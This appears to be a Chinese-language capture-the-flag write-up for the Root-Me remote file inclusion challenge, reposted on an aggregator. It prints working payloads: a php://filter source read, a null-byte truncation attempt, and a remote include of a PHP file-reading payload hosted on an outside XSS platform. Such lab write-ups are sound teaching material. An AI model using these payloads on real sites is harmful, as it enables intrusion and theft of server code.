

【Root-Me】 Remote File Inclusion
source link: https://exp-blog.com/safe/ctf/rootme/web-server/remote-file-inclusion/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

PHP 的 RFI (远程文件包含)漏洞利用,与 LFI (本地文件包含)很类似。
题目要求我们获取 PHP 页面源码,开启挑战后,只有 Français (?lang=fr
) 和 English (?lang=en
) 两个选项。
顺手测试了一下,当前页面的名称为 index.php
:

换言之我们有 3 个页面:?lang=fr
、?lang=en
、 index.php
。
LFI 试错
虽然题目提示要使用 RFI 完成挑战,但是还是先测试下 LFI 的效果。
可以利用 php://filter
特性读取页面源码,构造这样的 payload :
?lang=php://filter/convert.base64-encode/resource=fr
于是得到 Base64 编码的页面源码:
PD9waHAKCiRsYW5nID0gYXJyYXkgKAogICAgICAgICAgICAnbGFuZycgPT4gJ0xhbmd1ZScsCiAgICAgICAgICAgICd3ZWxjb21lJyA9PiAnQmllbnZlbnVlIHN1ciBub3RyZSBub3V2ZWF1IHNpdGUgd2ViICEnLAogICAgICAgICk7Cgo/Pgo=
对其解码虽然得到源码,但是没有有效的信息:
<?php
$lang = array (
'lang' => 'Langue',
'welcome' => 'Bienvenue sur notre nouveau site web !',
);
?>
类似地,?lang=en
的页面源码也是没提供有效的信息。

换言之,有效信息应该保存在 index.php
。于是构造类似的 payload 去读取页面源码:
?lang=php://filter/convert.base64-encode/resource=index.php
但是页面报错:
Warning: include(php://filter/convert.base64-encode/resource=index.php_lang.php): failed to open stream
从报错分析可以知道,代码会把 ?lang=输入
构造成 include('输入_lang.php')
亦即前面之所以可以读取到 ?lang=fr
和 ?lang=en
的内容,是因为他们真正的文件名是 fr_lang.php
和 en_lang.php
。
但是因为不存在 index_lang.php
和 index.php_lang.php
页面,所以 include()
Local File 时就会报错。

其实在 LFI 的领域,这种情况(include 的文件被强制加了后缀)是有办法处理的。
因为 PHP 是用 C 语言编写的,而在 C 语言中,标记一个字符串的终止符是 \0
,其 URL 编码是 %00
。
因此可以尝试在 payload 末尾添加 %00
以截断被强制添加的 _lang.php
后缀:
?lang=php://filter/convert.base64-encode/resource=index.php%00
但是这次报错为 Warning: include()
,即 include
的参数被置空,说明 %00
被过滤了。

RFI 漏洞
由于 LFI 的最后希望被封堵,我们把策略转移到 RFI 。
其实 RFI 更简单,从前面分析已经知道,代码会把 ?lang=输入
构造成 include('输入_lang.php')
。
RFI 只需要再 输入
点直接设置 URL 地址即可,如 payload 为:?lang=https://www.baidu.com
。
但是页面返回报错 Warning: include(https://www.baidu.com_lang.php): failed to open stream
。
这是因为 _lang.php
后缀作祟。

在 RFI 中要截断后缀,只需要在末尾添加 ?
即可,这样后缀就会变成 URL 的参数,亦即构造 payload 为:
?lang=https://www.baidu.com?
于是我们成功把百度嵌入到了页面中:

RFL 注入
既然可以成功嵌入百度,那么也可以嵌入 payload 页面。
所以接下来要做的,就是在一个公网可访问的 WEB 服务器上构造一个页面,把该页面的内容作为 payload ,读取发起 include
行为的页面源码。
为了节省搭建 WEB 服务器的资金,从这里开始我们利用 XSS 平台,推荐 http://xss.tf 。
在 XSS 平台上新建一个项目,并配置自定义代码 <?php echo file_get_contents('index.php') ?>
。
配置完成后,我们得到访问这个项目的页面地址为 http://xss.tf/M5Q

将 XSS 项目的 URL 注入挑战页面,即构造 payload : ?lang=http://xss.tf/M5Q?
成功读取到 index.php
的源码,打开浏览器的开发者工具,在注释中找到 flag ,完成挑战。

其他 payload
在 XSS 平台上构造 payload 的过程中,我发现这题挑战其实不止一个解法:
在 inlcule()
参数的引号被闭合后,可以注入 HTML 和 JS 代码,然后在 JS 代码中调用 PHP 代码。
例如构造这样的 payload 一样可以成功读取到页面源码:
'<img src=0 onerror="<?php echo file_get_contents('index.php') ?>" />'
看上去好像多此一举,不过在某些情况可能会很有用。

flag 下载后的 flagzip 的文件需要手动更改后缀为
*.zip
,然后解压即可(为了避免直接刷答案)
Recommend
-
40
【Root-Me】 Local File Inclusion PHP 的 LFI 漏洞,前置知识参考这篇文章:【
-
7
【Root-Me】 Local File Inclusion 水题。关于 PHP 的 LFI 漏洞前置知识可以参考这篇文章: 【
-
7
mPDF 7.0 - Local File Inclusion ...
-
5
Employee Performance Evaluation System v1.0 - File Inclusion and RCE...
-
6
Hughes Satellite Router HX200 v8.3.1.14 - Remote File Inclusion...
-
9
GLPI Glpiinventory v1.0.1 - Unauthenticated Local File Inclusion...
-
8
GLPI Activity v3.1.0 - Authenticated Local File Inclusion on Activity plugin...
-
5
GLPI 4.0.2 - Unauthenticated Local File Inclusion on Manageentities plugin...
-
8
Purchase Order Management-1.0 - Local File Inclusion ...
-
2
SoftExpert (SE) Suite v2.1.3 - Local File Inclusion ...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK